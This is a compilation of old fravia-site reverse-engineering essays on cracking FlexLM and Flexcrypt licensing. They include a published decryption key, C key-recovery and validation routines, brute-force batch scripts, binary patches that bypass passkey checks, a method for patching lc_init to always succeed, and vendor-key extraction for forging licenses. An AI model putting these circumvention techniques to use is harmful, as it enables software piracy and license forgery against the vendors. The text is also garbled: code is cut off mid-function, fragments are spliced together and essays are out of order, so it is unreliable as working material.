the licensing software, and was probably used to proved "secure" distribution of software to authorized customers and
third parties.
Essay
The information provided here doesn't provide much additional ability to decode over Pilgrim's essay on Flexcrypt. That
essay provides enough information to decode flexcrypted files. After reading this essay, it should be apparent that the
security provided for the encrypted files is minimal, and this program should not be used for anything that requires even
minimal security. Reading and understanding this essay will give you the ability to generate flexcrypt keys using
makekey and to write programs that are capable of automatically decoding flexcrypted files.
The first attempt at building a key generator used vendor keys extracted from the global data area of the running
program, and converted to version 6. An area matching the fc_keytab was found, and an fc_keytab table was generated
that would produce an identical table to the one in core. I could not get the Globetrotter version 6 makekey program to
generate keys that would work with the version 5.11 version of flexcrypt. I decided that obtaining the correct version of
flexcrypt would be required.
The version 5.11 flexcrypt kit is not encoded with that version of flexcrypt - an older variant is used. The methods that
Pilgrim used to extract the keys, such as breaking in sprintf statements, was used to extract a set of possible keys. There
is no checksum confirmation process for that earlier version of flexcrypt, so a file for each of the decrypted strings was
generated, then a decompression attempt was done on each of the files. Two files passed the full decompression test,
corresponding to entry 32 in the decryption table. One of the entries was for the specific host that I was decrypting on,
the other key was for ANY host.
The key to decode the flexcrypt 5.11 kit is 5537-2182-6912-6163-32 - I provide this so that interested parties can follow
along.
The locations where the encryption keys xored with vendor_key5 were both 0, so I didn't worry about these yet. I built a
trial makekey program with the kit, using vendor keys extracted from the global memory area. Vendor_key5 was derived
from a custom program, although the standard technique of using l_svk to extract this key would work as well.
The compiler aligns the structure so that each element will start on a word boundary, and then pads the rest of the
structure with nulls. The pattern that I saw showed a pattern of xxxxxxxx xx000000 when I used my own data, so I
looked for a similar pattern in core. I used the pattern that they suggest in their mycode.c file. The val1/val2 keys were
extracted from the core file, and fed through the following program. 0xfe9f9a1d is actually vendorcode 5 for this
product.
Once we have extracted the keys, they were organized into k1,k2 pairs, and then XORed with vendorkey5.
#include<stdio.h>
main()
{
unsigned long val1;
unsigned long val2;
char instr[1024];
int i = 0;
while (fgets(instr,1024,stdin)) {
sscanf(instr,"%x %x", &val1, &val2);
val1 = val1 ^ 0xfe9f9a1d;
val2 = val2 & 0xff ^ 0x1d;
printf (" { 0x%08x ^ K1, K2(0x%02x)}, /* Offset %d */\n", val1, val
2,i);
i++;
}
}
The key table and the vendorcode values extracted from core are added to mycode.c, and then makekey generates correct
decoding values. Vendor defined encryption is used to generate the decoding keys. lc_crypt() is used to generate a key,
then it appears that custom modifications are done to the result by fc_crypt(). It may be possible to completely reverse
the key generation mechanism, however this isn't required to decode the files.
The Approach
The first part to reversing flexcrypt was to write a test program that called the actual encryption routines. The constituent
files of the libraries were extracted, and encrypt.o was replaced by a test program which called the encryption code
directly. This somewhat simplified the debugging process, and allowed modification of individual calls to library
functions. The first call of interest is to fc_string_crypt.
The first key derivation comes in the fc_split_code() routine. This one was of interest as it took in data from fc_keytab,
and the index into the encryption table. This indicated that it was involved in the key generation process. This routine
takes the 40 bit key found in fc_keytab and merges them with VENDOR_CODE5 to produce a 64 bit key. The 64 bit key
is the actual key used in the encryption operations. l_svk (which extracts VENDOR_CODE5 from the other 4 vendor
codes) is actually called from within fc_split_code(). Here is a subroutine that has the same functionality, but it takes
vendorcode5 as an argument.
/*******************************************************************************
*
* my_split_code
*
* This routine generates a split code (a full 64 bit key) from
* vendorcode5 and the input key (first 5 bytes).
* this was modified from the original code, and doesn't
* reflect exactly how fc_split_code works, but the algorithm
* is the same.
*
* inkey (input) 40 bit input key.
* vc5 (input) 32 bit vendorcode5 key
* outval(output) 64 bit split code.
********************************************************************************/
int my_split_code(char *inkey, char *vc5, char *outval)
{
unsigned long keys[8];
unsigned long dbytes[5];
unsigned long xorbytes[4];
int i;
/* Load keys */
for (i = 0; i < 4; i++) {
keys[i] = (unsigned long) (vc5[i] & 0xff);
}
/* Load data */
for (i = 0; i < 5; i++) {
dbytes[i] = (unsigned long) (inkey[i] & 0xff);
}
/* Build XOR'ed values */
for (i = 0; i < 4; i++) {
xorbytes[i] = dbytes[i] ^ keys[i];
}
outval[0] = xorbytes[3];
outval[5] = xorbytes[2];
outval[2] = xorbytes[1];
outval[7] = xorbytes[0];
outval[4] = dbytes[4];
outval[1] = xorbytes[1] ^ xorbytes[0]; /* Redundant rule 1 */
outval[6] = xorbytes[3] ^ dbytes[4]; /* Redundant rule 2 */
outval[3] = xorbytes[2] ^ xorbytes[1]; /* Redundant rule 3 */
return(0);
}
The three redundant rules allow us to check to see if the split code is correct with a very high degree of certainty. Why
this is important will be demonstrated shortly.
The next interesting routine is fc_block_crypt. Calls to this routine were intercepted, and the arguments before and after
the call were examined. The following observations were made.
The routine was called with the split code as the key and an 8 byte mystery string.
The next call was called with the split code as the key, and split_code XORed with the first 8 byte data block as
data.
The next call had the previous block XORed with the current data as input, and that was passed to encrypt block.
The cipher is using cipher block chaining with the key as the initialization vector. I suppose some improvement could be
had by using a random IV, but other weaknesses are still there to be exploited.
A special flexcrypt header is written to the output file, then the encrypted blocks are written sequentially to the output
file.
What was that mystery code? As it turns out, it is the encryption offset turned into a string using this highly secret
algorithm:
/*****************************************************************
*
* my_block_crypt:
* this routine is is a combination permute/xor
transformation.
* inkey(input) input encryption key
* dval(input/output) block to be transformed.
*****************************************************************/
int my_block_crypt(char *inkey, char *dval)
{
unsigned long keys[8];
unsigned long dbytes[8];
int i;
/* Load keys */
for (i = 0; i < 8; i++) {
keys[i] = (unsigned long) (inkey[i] & 0xff);
}
/* Load data */
for (i = 0; i < 8; i++) {
dbytes[i] = (unsigned long) (dval[i] & 0xff);
}
/*****************************************************************
*
* my_recover_key:
* recover key from a plaintext/ciphertext pair.
*
* nfb 22-aug-1999 - initial coding.
*
*****************************************************************/
int my_recover_key(char *plaintext, char *ciphertext,
char *outkey)
{
unsigned long ptext[8];
unsigned long ctext[8];
int i;
/* Load plaintext */
for (i = 0; i < 8; i++) {
ptext[i] = (unsigned long) (plaintext[i] & 0xff);
}
/* Load data */
for (i = 0; i < 8; i++) {
ctext[i] = (unsigned long) (ciphertext[i] & 0xff);
}
Once we have the key, we can see if it's valid. This code validates the returned keys.
/* Transfer bytes */
for (i = 0; i < 8; i++) {
dbytes[i] = (unsigned long) (inval[i] & 0xff);
}
/* Redundant rule 1 */
if (dbytes[1] != (dbytes[2] ^ dbytes[7])) {
return(-1);
}
/* Redundant rule 2 */
if (dbytes[6] != (dbytes[0] ^ dbytes[4])) {
return(-1);
}
/* Redundant rule 3 */
if (dbytes[3] != (dbytes[5] ^ dbytes[2])) {
return(-1);
}
/* All OK, return 0 */
return(0);
}
The real decryption key can be located by cycling through the 256 possible indexes, checking to see if the resulting key
passes validate_key, and using that key if one is found. If multiple keys are found, try the keys and check the output data.
Most likely, one and only one key will be found. From this point it is a simple matter to decrypt the file a block at a time,
and you will have your plaintext data.
Final Notes
Flexcrypt 5.11 does not offer very much protection to encrypted files. Cracking the program and the algorithms that it
uses to encode files provides some useful insight into methods that can be used to attack encryption programs.
FlexLM is only minimally involved in this product, providing only the authorization process, and part of the key used to
decrypt or encrypt files.
Decryption keys used to decode files should actually contain private information that is required to decode the file. In
this case, the keys are stored within the decryption executable, reducing the problem to one of pure cracking and some
trial and error if the data is all that is required.
A combination of weak encryption and known data encrypted into the header makes it possible to write automatic
decryptors for any file encrypted by this program.
If the designers of this program had not distributed the keys with the decryptor, used a random initialization vector, and
used even a little bit stronger encryption algorithm, the program would be much more resistant to direct attack.
Questions:
Answers:
4. The real key length is short enough, and the algorithm weak
enough that it can easily be broken, thus providing no
secrecy advantage to foreign powers.
5.
int my_block_crypt(char *inkey, char *dval)
{
unsigned long keys[8];
unsigned long dbytes[8];
int i;
/* Load keys */
for (i = 0; i < 8; i++) {
keys[i] = (unsigned long) (inkey[i] & 0xff);
}
/* Load data */
for (i = 0; i < 8; i++) {
dbytes[i] = (unsigned long) (dval[i] & 0xff);
}
Exercise:
Other notes
Some of the code which seems wasteful of cycles is to deal with big endian/little endian issues.
Only limited testing was done. It is possible that there are conditions which could yield incorrect results.
Utilities
This code writes a file for chosen plaintext attacks. It isn't really part of this project, it is provided only for convenience
and for verification.
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
data[0] = 0x00000001;
data[1] = 0x00000010;
data[2] = 0x00000200;
data[3] = 0x00000400;
if (argc != 2) {
fprintf(stderr, "Usage: wrdata file\n");
exit(1);
}
if ((fd = open(argv[1], O_RDWR|O_CREAT, 0755)) < 0) {
fprintf (stderr, "Failed open of %s\n", argv[1]);
perror("open");
exit(1);
}
for (i = 0; i < 1; i++) {
if (write(fd,(void *) data, 16) != 16) {
fprintf (stderr, "Failed writing block %d to %s\n", i, argv[1]);
perror("write");
exit(1);
}
}
close(fd);
printf ("Done.\n");
}
Other notes
Version 6.1 of Flexcrypt uses the SAME algorithms, however the keys required for decrypt are different. The real keys
used to encrypt the file are the same though.
Ob Duh
I wont even bother explaining you that you should BUY programs if you intend to use them for a longer period than the
allowed one. Should you want to STEAL software instead (unlikely in this case :-) you don't need to crack protection
schemes at all: you'll find everything on most Warez sites, complete and already regged, farewell, don't come back.
You are deep inside fravia's page of reverse engineering, choose your way out:
Back to protec
The second part of Pilgrim's Flexcrypt studies, see pilgrim.htm: Pilgrim's How to crack a PC-based
FlexLm license manager, read and enjoy!
Courtesy of fravia's pages of reverse engineering
Introduction
============
Tools required
==============
Targets URL
===========
http://www.globetrotter.com
ftp://ftp.globes.com
Recommended files
=================
ftp://ftp.globes.com/flexlm/v5.12/windows/flexmin.exe ( 4,088,198
Bytes )
ftp://ftp.globes.com/flexlm/v6.1/windows/flexlm.exe ( 7,873,894 Bytes )
The site also contains many other flexcrypted files to practise on.
FlexCrypt basics
================
32 bit's easier to debug than 16 bit so let's abandon FlexLm 5.12 for
now and try FlexLm 6.1
Clear the Windows\Temp directory and run the FlexLm 6.1 install.
When prompted for the key press cancel and copy all the files into
another work directory.
[esi+00000000] - 7375
[esi+00000004] - -553
[esi+00000008] - 2-55
[esi+0000000C] - 21-5
[esi+00000010] - 871.
1) Just after esi points to the passkey string, jump to some unused
code space:
Replace
:00405E3F 83C418 add esp, 00000018
:00405E42 57 push edi
:00405E43 E80C000000 call 00405E54
With
:00405E3F 83C418 add esp, 00000018
:00405E42 E9E1B9FFFF jmp 00401828
Now write 2 batch files to run through 00 to 99 and store the results:
test2.bat:
call test.bat 00
call test.bat 01 .... to .....
call test.bat 98
call test.bat 99
test.bat:
dcrypt -p 0000-0000-0000-0000-%1 -t cab data1.fc
rename ????-????-????-???? ????-????-????-????-%1
So now we want to try each one and see when we get a valid result.
Dir all the files into a text file and run a macro to get something like
cryptwin -p 7375-5532-5521-5871-00 -t cab data1.fc
pause
... etc for each key
You'll eventually end up with the correct key for your machine.
Once you've got it you can then use it to decrypt all the fc files.
It would be wise to repackage the FlexLm 6.1 so you don't need the key
again.
Delete the cryptwin.exe and the *.Z files then try installing again.
You can now enter any passkey and FlexLm6.1 will install.
Let's try the passkey we got above with the 16 bit FlexLm5.12
No good.
That's because the 16bit cryptwin.exe has a different set of keys
stored in it's executable.
OK, so let's try decrypting the 16bit FC files using the 32bit cryptwin.
This may work as we know the key for the 32bit decrypter.
Well, we get some Z files, no error messages, but the files are corrupt.
Open up a Z file with your favourite hex editor and have a look.
Mmmm, lots of repeating 8 byte patterns.
Looks like we've decrypted the file but with the wrong start value.
void main()
{
FILE *ReadFile, *WriteFile;
unsigned char xor_table[8]={0xd3,0x61,0xf5,0xa2,0x00,0x6e,0xbb,0x12};
ReadFile=fopen("test.x","rb"); /* Open up the project file to read
*/
WriteFile=fopen("test.z","wb+"); /* Open up the new project file to
write */
init=0;
i=0;
while (feof(ReadFile) == 0) /* Repeat until the end of the read file
is reached */
{
c=fgetc(ReadFile);
if (init==1)
c^=xor_table[i];
i++;
i&=7;
init =1;
fputc(c,WriteFile);
}
fclose(ReadFile);
fclose(WriteFile);
}
Run this on the files and they look like they should work, but they're
still corrupt.
The problem is the first 8 bytes of the data are not correct.
Further work: I think the first 8 bytes have something to do with the
initial decrypt value.
This doesn't pose a problem as FlexCrypt is typically used to encrypt
files with known headers.
For an installshield Z file the first 8 bytes are
13,5D,65,8C,3A,01,02,00
For an installshield CAB file the first 8 bytes are
49,53,63,28,04,00,00,01
So I modified my XOR code to skip the first 8 bytes and replace them
with the correct header:
void main()
{
FILE *ReadFile, *WriteFile;
unsigned char xor_table[8]={0xd3,0x61,0xf5,0xa2,0x00,0x6e,0xbb,0x12};
unsigned char z_header[8] ={0x13,0x5D,0x65,0x8C,0x3A,0x01,0x02,0x00};
ReadFile=fopen("test.x","rb"); /* Open up the project file to read
*/
WriteFile=fopen("test.z","wb+"); /* Open up the new project file to
write */
/* Skip the first 8 bytes and write the Z file header */
for (i=0;i<8;i++)
{
c=fgetc(ReadFile);
fputc(z_header[i],WriteFile);
}
init=0;
i=0;
while (feof(ReadFile) == 0) /* Repeat until the end of the read file
is reached */
{
c=fgetc(ReadFile);
if (init==1)
c^=xor_table[i];
i++;
i&=7;
init =1;
fputc(c,WriteFile);
}
fclose(ReadFile);
fclose(WriteFile);
}
Using your favourite hex editor open up cryptwin.exe from FleLm 6.1
Conclusion
==========
The above document shows how we can decrypt ANY FlexCrypted file.
Further work may show the essence of FlexCrypt and it's relationship
with FlexLm.
Thanks to the people out there who continue to reveal the light.
pilgrim
Back to protec
Introduction
This article was inspired by the tutorial by SiuL+Hacky ( siulflex.htm ) on how to hack XprismPro 1.0
The above program ran on Linux, but my target ran on Windows 95/NT The aim of this tutorial is to expand on some
of the ideas in the first tutorial and to detail the differences encountered on the PC.
Tools required
W32DASM 8.9: everywhere
Flexlm programmers kit: http://www.flexlm.com
Essay
lm_code.h : This is where you want to put in all the target key information
lm_client.h : Contains useful function prototypes and error codes
GenLic32.exe : this program checks the keys and generates licenses for you.
Load up the target EXE and set break points wherever the lc_init()
function is called.
Run your target until it breaks.
So all the stuff above will be pushed onto the stack prior to calling lc_init.
Modify the lm_code.h file to contain the encryption seeds, and vendor
keys 1 to 4.
Set vendor key 5 to 0 for now.
Run genlic32.exe
If it throws up an error message then you haven't typed in the keys
correctly in lm_code.h
Preamble...
Like S+H, I didn't believe vendor 5 could be unknown by the daemon,
it had to be made on the fly.
It appears to be made up of all 4 vendor keys and the vendor name.
So it could be a checksum for the vendor info?
FlexLm provides the 5 keys based on your vendor name, so they'll want
to checksum it somehow.
OK this bit is more tricky, but keep at it and you'll get there.
Start W32DASM again and load your target ready to read your nice new
license file.
Break on lc_checkout in your target EXE.
Load up the daemon DLL ( in the active DLLs window double-click on the
daemon DLL ).
Start single-stepping through.
There's lots of calls to undocumented functions, but keep stepping
into them.
Final Notes
As Siul+Hacky mentioned, the only security here is that of secrecy. Thanks to Siul+ for the initial hard work.
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period
than the allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at
all: you'll find it on most Warez sites, complete and already regged, farewell.
You are deep inside fravia's page of reverse engineering, choose your way out:
Introduction
One of the most popular commercial schemes in the unix worl is Flexlm. It has been working for several
years in the market, but I've never seen attempts to break it, probably, because it was not so popular in
the win-world, and anyway it is not practically used in a shareware basis. It's used with huge software
package that has more to do with warez. If you succede in grasping the idea of FlexLM, you'll see that it
may try to stop making (ilegal) copies of legal software. It fails.
Tools required
Ltrace search for ltrace_0.3.2.tar.gz
Dasm Here !
perl interpreter ( available in linux distributions)
gcc (the same apply)
Flexlm programer's kit: http://www.flexlm.com
DDD http://www.cs.tu-bs.de/softech/ddd
Target's URL/FTP
XprismPro: http://www.khoral.com
The demo was removed some months ago, but it is used here as an example and some other linux
program protected with Flexlm, could be used. Moreover, you could try also with Windows NT versions
(I encourage you not to do it, even just for aesthetic reason :-).
Tools Update
There's a growing number of tools available for developing, but they are quite specific and only a few of
them are for general use. They should be know by you already, but for those of you off the world you
could have a look to these variations of the known gdb:
GDB 4.17
This upgrade provides gdb multithread capabilites, that until this version had no support at all.
SMARTGDB 0.9
I must admit the idea of smartgdb developers is really interesting, but i have to warn you too, that it still
needs a lot of work for not disappointing you when you try to use it. The main improvements are firstly
the multithread support, and secondly and more important, it carries a Tcl/Tk interpreter that allows you
to write code that ameliorates the interface the way you want. Moreover, it gives you the chance to write
procedures that take care of breakpoints.
Essay
After cracking with ltrace XPrismPro, i was really interested in some of the internals of the comercial
protection used: FlexLm (Flexible License Manager). Probably many of you know it, many hardware cad
tools use that crap, and you find it no matter you run Solaris or Windows NT (sorry for the last ones).
XPrismpro (hey don't look, they removed the demo time ago !), carried a complete user manual of
Flexlm, well that's nice for motivation, but there were a lot of questions unanswered. The main details
available in the user's manual are (excerpt from flexlm user's manual):
1. The license module in the client application finds the license file, which includes the host name of
the license server node and port number of the license manager daemon, lmgrd.
2. The client establishes a connection with the license manager daemon (lmgrd) and tells it what
vendor daemon it needs to talk to.
3. lmgrd determines which machine and port correspond to the master vendor daemon and sends that
information back to the client.
4. The client establishes a connection with the specified vendor daemon and sends its request or a
license.
5. The vendor daemon checks in its memory to see if any licenses are available and sends a grant or
denial back to the client.
6. The license module in the application grants or denies use of the feature, as appropriate.
I must add that the license file, a text file, contains a key (ten bytes i think) that authenticates the license.
This license file and the vendor daemon must be provided by the software company that sells you the
program. This is an exaple of license file (censored :-).
SERVER localhost.localdomain ANY
VENDOR khoral /usr/local/flexlm/v6.0/i86_l1/khoral
FEATURE xprismpro khoral 1.0 permanent 4 XXXXXXXXXXXX
I must admit i don't find the coherence. Do flexlm guys really think that network administrators are so
worried with the lincensed/unlicensed software that the people run ? Is the access granted by the server,
by the local license file, or by both ? I just can think the license server is located inside vendor's network,
i mean, imagine i buy some crap to Adobe, and then everytime i run it, it connects with Adobe and grant
me access. But that is fucking unflexible :-) !!!. In that case i was thinking it could not be so hard to make
a fake server that grants access everytime.
Anyway, after reading that i had to visit flexlm web site and look for some enlightenment:
http://www.globetrotter.com
:-), firstly you can read there a ton of comercial shit about stop piracy, improve your sales and so on. Go
to Flexlm product, and there is available an evaluation programmer's kit. Do you think flexlm
programmer's kit is protected with flexlm :-DDDD ??? NO, of course, not. BTW, you can get that
programmers kit from some mirrors (do ftpsearch, and look for install_flexlm.ftp).
Two of the files are provided encrypted, and of course you must begg for the key or start some reversing.
A program is given to decrypt, and it nicely tells you if the code is wrong and what is the format of the
code:
xxxx-xxxx-xxxx-xxxx-xx or
xxxx-xxxx-xxxx-xxxx-xxx or
nnnn-xxxx-xxxx-xxxx-xxxx-xx
One of the features of the decryption program is to provide the key in a text file. Perfect, don't forget it.
Run ltrace, of course, and you'll see that when you introduce a number in the format above, the last
number (two or three ciphers) is converted to long (atol function) and the error message is constructed.
Dasm the file and you'll see that the value returned by the function atol is compared with 0x100 (256),
and you're fired if the value is greater. Then when you introduce the right format and the last number is
less than 256, you receive a different error message. Looking at the new ltrace output, woowww, there's a
call to sprintf that generates a string like xxxx-xxxx-xxxx-xxxx, hmmm, interesting. Now if you put this
number you got from sprintf and keep the last number untouched, you'll get a good decryption key, but
not good for the specific files. Fortunately, that sprintf is the only one present in the whole log.
The last task is to get the specific decryption key for flexlm files. I decided to use a funny approach and
write a perl script that
1. calls the decryption program through ltrace. Last number among [0-99]
2. reads ltrace's log and builds a good key. Store it in a file and repeat.
3. once you get all the good keys, extract the first one, put it in a file and check if it can decrypt
flexlm files.
4. if not, just try the next
in a few seconds you'll get the good decryption key that i'll not give you, but you can easily get with the
power of perl :-).
Once you get the programmers kit (evaluation) available, let's start reading the manual, written in good
html. I'll not punish you with the gory details but the conclusion i got was, how could it be patented ???
All the supposed security of the flexlm is based in keeping the methods secret. That is absurd, anyone
could get this kit and you'll see how vendors are giving away in their daemons (or in their client
programs) the information needed to build a license generator. The programmer's guide just gives you
some clues of the encryption process, and some of the functions of Flexlm API (the ones used in the
source code examples provided).
Now let's go to setup the whole thing and run an installation script. It will ask you the vendor daemon
name, a pair of 8 bytes encryption seeds that MUST BE KEPT SECRET as they are the ones that are
unique to your software, and 5 vendor keys supposedly provided by Flexlm guys. Of course, i had not
that vendor keys. The script starts to compile your new daemon, but at the end you receive a message
that the vendor keys provided are invalid or so.
If you now look at the Makefile and the software provided, this is a summary of what they supply in this
kit:
1. License manager: lmgrd
2. Source examples for daemon and client program
3. Some utilities to test lmgrd, build licenses and so on.
4. Three libraries that must be linked and that contain Flexlm API, server and client side.
5. Source code for the license generator: lmcrypt (remeber that name)
The last one is really surprising at the first glance, but as the interesting routines are in the libraries it's
not that easy. Anyway it's impossible not to run lmcrypt just the second you see it. Run it and you'll get
the stupid message about the vendor keys. Most of the compiled programs showed the same behaviour,
so it is neccessary to:
Easy
Running the debugger on the application code if it is released with unstripped executables (on Unix) or
as a debug version (on Windows).
Difficult, depending on application policy
Killing the daemons, since a majority of daemons must be up in order for anything to run, and a dead
daemon is detected within the timer interval in a client. If, however, you do not use one of the built-in
timers and you do not call HEARTBEAT(), then your software protection could be bypassed by someone
who kills the daemons each time that the application reaches the maximum license limit, as the
applications would never detect that the daemon went down.
Very Difficult
Guessing the license keys that belong in the license file. FLEXlm's standard authentication algorithm
takes the user-visible data fields (number of licenses, expiration date, version number, vendor-defined
string, feature name, host IDs of all servers, plus any optional authenticated fields) and combines them
with the vendor's private encryption seeds to produce a license key. The algorithm used is a proprietary
one-way block chaining encypherment of all the input data.
Writing a new daemon that emulates your vendor daemon. FLEXlm encrypts the traffic between client
and vendor daemon to make this point of attack much more difficult.
Running the debugger on a stripped (Unix) or a non-debug (Windows) executable. This requires
someone to find the FLEXlm calls without any symbol table knowledge.
-------------------------------------------- At the end of the essay you may set your own ratios :-).
I like this facility of english language to put qualifiers one after the other, even though is widely used in
commercial stuff. Watch the pseudo-sophistication that it provides:
"The algorithm used is a proprietary one-way block chaining encypherment ..."
Back to the cracking, if you see the source code of lmcrypt.c, the error message is caused by a call to the
function lc_init:
if the function doesn't return 0, you know, beggar off. I felt really dissappointed patching the source
code, so let's go back to our libraries and look for a global solution. There are three:
liblmgr.a
liblmgr_as.a
liblmgr_s.a
Usually you find two types of libraries: .a libraries (static) and .so (dynamic). So in this case there's a
collection of static libraries that are statically linked to your code. How they are made? Well, very simple
these files are just "ar" archives (similar to tar archives), and inside them there's a collection of object
(.o) files. With "ar" command you may extract files, add, and so on. The syntax is the same of the tar
command. There's also a very useful command for investigating the contents of a library: nm. This
command gives you information about how is organized the library's functions and variables. This is just
some interesting part of running nm libmgr.a
lm_init.o:
00000000 d VERSION
U calloc
U errno
00000004 d first
00000000 t gcc2_compiled.
U getenv
U l_getattr
U l_getattr_init
U l_malloc
U l_more_featdata
00000014 D l_n36_buff
U l_set_error
U l_sg
00000af0 T lc_first_job
U lc_get_attr
00000000 T lc_init
00000b10 T lc_next_job
U lc_set_attr
00000008 D lm_bpi
0000000c D lm_max_masks
00000010 D lm_nofile
U localtime
the numbers on the right is the location of the data or the function inside the object code file. If it is
empty then the symbol was declared as external. So here we can see that the code of lc_init is inside file
lm_init.o. You know what to do, extract lm_init.o, patch the code in a way lc_init returns always 0 and
then replace the old lm_init.o in the library, with your patched file. This way if you rebuild all the
programs, they will give you no problems with the vendor keys (at least less :-).
Now lmcrypt runs fine. It gets a just-made license file as the input (the checksum key must be equal to
0), and gets out a perfect valid license file. My very first idea was to crack the daemon in order to grant
access always, so i realized debuggin a daemon (memory resident) program could be too hard without
ltrace. The problem is that, although may be supported in the future, now ltrace doesn't log calls to
functions inside the executable (even if they are available in the symbol table), and all the cool functions
from the API are statically linked. What i tried next, was to make them dynamically linked. I know that
a) for running the software, you get vendor keys 1,2,3,4 and 5.
b) lmcrypt creates the license. For the job it uses your PERSONAL AND SUPERSECRET encryption
seed1 and seed2.
c) the daemon checks the encryption using encryption seed1 and seed2 xored with vendorkey5, to keep
them secret and improve security :-DDDDD.
typedef struct {
short type;
unsigned long data[2];
unsigned long keys[4];
short flexlm_version;
short flexlm_revision;
char flexlm_patch[2];
char
behavior_ver[LM_MAX_BEH_VER + 1];
} codes;
where "data" array keeps encryption seeds (xored with vendorkey5), and "key" array keeps
vendorkeys1,2,3 and 4. If you go back to the definition of function lc_init, a pointer to a structure like
this is passed to the function.
You'll notice that vendorkey5 is not present in the data structure, you can do a binary search in the
daemon and it is no present as a redable data. It's quite easy to run DDD and in the call to lc_init, for
instance, read khoral vendor keys1,key2,key3,key4, xored_seed1 and xored_seed2. All of them are
carried in a the structure declared above.
I tried to use those vendor keys (and make up the five one :-) building my home daemon, but the
performance was the same i obtained with my patching: the daemon dies with no error message. Ok, let's
admit that the evaluation kit doesn't support daemon mode (or at least is not too obvious to fool it). Well
let's concentrate now in the license generation.
What lmcrypt finally does is to call the function lc_cryptstr
int lc_cryptstr(job, str, return_str, code, flag, filename, errors)
that takes the text line of the license with the sensitive information (and the checksum key=0) and
replaces the checksum key with the good value. The parameter "code", is the structure that we saw
before, BUT seed1 and seed2 have been previously unxored, i.e., the original value of seed1 and seed2.
Vendorkey5 is available to the program lmcrypt, so the unxoring is no mistery. The difference is that
vendorkey5 is not provided to the daemon that checks the license to be good or bad.
To be honest i didn't believe such an algorithm that takes the ckecksum and says if it's good or bad
without generating it again. Obviously vendorkey5 should be hidden somehow in the code ( i made some
tests and vendorkey5 was not introduced in the code of the daemon ). It was a little bit tricky, but either
way as vendorkey5 is a 4 bytes value, a brute force attack would not be so hard and the system would be
quite unsecure.
Of course, my home daemon had a perfect symbol table, and the function used by lmcrypt (lc_cryptstr)
was not used. It would be too obvious. Reading the documentation of lc_cryptstr, Globber guys says that
function is an easier choice than using directly lc_crypt, a function that is not documented BTW. The
declaration is something like:
lc_crypt (no_care, no_care, no_care, code);
code ? quite interesting. Let's look at the assembly listing of the daemon, read it backwords: ( i worked
most of the time with khoral daemon, the one with the intersting seeds and no symbols, but it's more
educational if you see the symbol names :-)
0806428a leal 0xfffff7b4(%ebp),%eax
08064290 pushl %eax; <-- code "parameter.class"
08064291 pushl $0x0; <-- paramter for
l_bin_date
OK, so vendorkey5 is supplied by a call to function l_svk (of course, not documented)
int l_svk(char*,codes*)
And my dear friends, the first parameter is the daemon name !!! I didn't analysed it deeply, but
apparently the function uses vendorkeys2 and 3, together with vendor name, and builds on the fly
vendorkey5, used to unxor seed1 and seed2.
Now we get all the data to rebuild the whole crap, and build all kind, types, sort of licenses, server
redundants, node locked, permanent, blah, blah. HEY COMPANIES FROM THE WORLD, THIS IS
YOUR SECURITY !!! I don't understand quite well what does a company as Lockeed Martin using
Flexlm. Once you know the process, it's quite easy to look at function signatures and locate the sensible
functions quickly. The whole security is based on secrecy, and that uses to be no security.
The license generation works perfectly if you want to try it. Anyway my doubts about the whole crap
remains. Apparently XPrismPro doesn't use the daemon thing at all. Turn it on, turn it off, it only needs
the license file, so i'll gotta wait to test the daemon weakness ( or not ). If anyone understands perfectly
the daemon working, please tell me. What now I grasp it's that the idea is to spread n (identic) licenses in
a company, and you can use just m (m
That's all folks !!!
--------------------------------------------------------
Because people use to ask it to me, i repeat here the code for dasm, but IT WAS AVAILABLE IN OLD
ESSAYS TOO !
#!/usr/bin/perl
;############ MODIFY THIS LINE WITH YOUR PERL LOCATION ############
push(@INC,"/usr/lib/perl5");
require("flush.pl");
;##################################################################
;######## LINUX DISASSEMBLER 2.01
;######## (C) SiuL+Hacky Aug 1998
;######## You may copy, modify, distribute this program and
;######## is up you to keep this header here
;######## Usage: dasm exe_file dasm_file
;##################################################################
$f_input=$ARGV[0];
$f_output=$ARGV[1];
&printflush(STDOUT, "\nCreating disassembled file ...");
$return=system("objdump -d -T -x --prefix-addresses
".$f_input.">".$f_output."2");
if ($return!=0){
print "\nERROR OPENING OBJDUMP $return";
print "\nUsage: dasm exe_file dasm_file";
print "\nBe sure to get objdump in your path. Check also file
permissions\n";
exit(1);
}
open(INPUT, "<".$f_output."2");
$_=;
while (!/.rodata/){
$_=;
}
($rubbish, $rest)=split(/.rodata/,$_,2);
($rubbish, $rest)=split(/0/,$rest,2);
@numbers=split(/ /,$rest,5);
$size=hex($numbers[0]);
$starting_address=hex($numbers[1]);
$end_address=$starting_address+$size;
$offset=hex($numbers[3]);
open(CODIGO, "<".$f_input);
seek(CODIGO,$offset,0);
read(CODIGO,$cadena,$size);
close(CODIGO);
$_=;
while (!/SYMBOL TABLE/){
$_=;
}
&printflush(STDOUT, "\nProcessing symbol table ...");
$_=;
while (!/^\n/){
@st_element=split(/ /, $_);
$_=$st_element[$#st_element];
chop;
$symbol_table{$st_element[0]}=$_;
$_=;
}
while (!/\.text/){
$_=;
}
&printflush(STDOUT, "\nProcessing jmps and calls ...");
while (){
$_=~ s/<.*?>//g;
$_=~s/ / /g;
if (/j/){
($direccion,$inst,$destino)=split(/ /,$_,3);
$destino=~s/ //g;
chomp($destino);
$salto{$destino}.=($direccion." \; ");
}
elsif (/call/){
($direccion,$inst,$destino)=split(/ /,$_,3);
$destino=~s/ //g;
chomp($destino);
$call{$destino}.=($direccion." \; ");
}
}
seek(INPUT,0,0);
&printflush(STDOUT, "\nWritting references ...\n");
open(OUTPUT, ">".$f_output) || die print "\nError
$_=;
print OUTPUT;
}
$char=".";
$counter=0;
while(){
$counter++;
if ( ($counter % 400)==0){
printflush(STDOUT,$char);
if ( ($counter % 4000)==0){
printflush(STDOUT,"\r");
if ($char eq "."){ $char=" ";}
else { $char=".";}
}
}
$copia=$_;
$_=~s/<.*?>//ge;
$_=~s/ / /g;
($direccion, $inst, $destino)=split(/ /,$_,3);
if ( defined( $symbol_table{$direccion} )){
print OUTPUT "\n";
print OUTPUT "---- Function :
".$symbol_table{$direccion}." ----\n";
}
if (/call/){
$destino=~s/ //g;
chomp($destino);
if ( defined( $symbol_table{$destino} )){
print OUTPUT "\n";
print OUTPUT "Reference to function :
".$symbol_table{$destino}."\n\n";
}
}
if ( defined( $salto{$direccion} )){
print OUTPUT "\n";
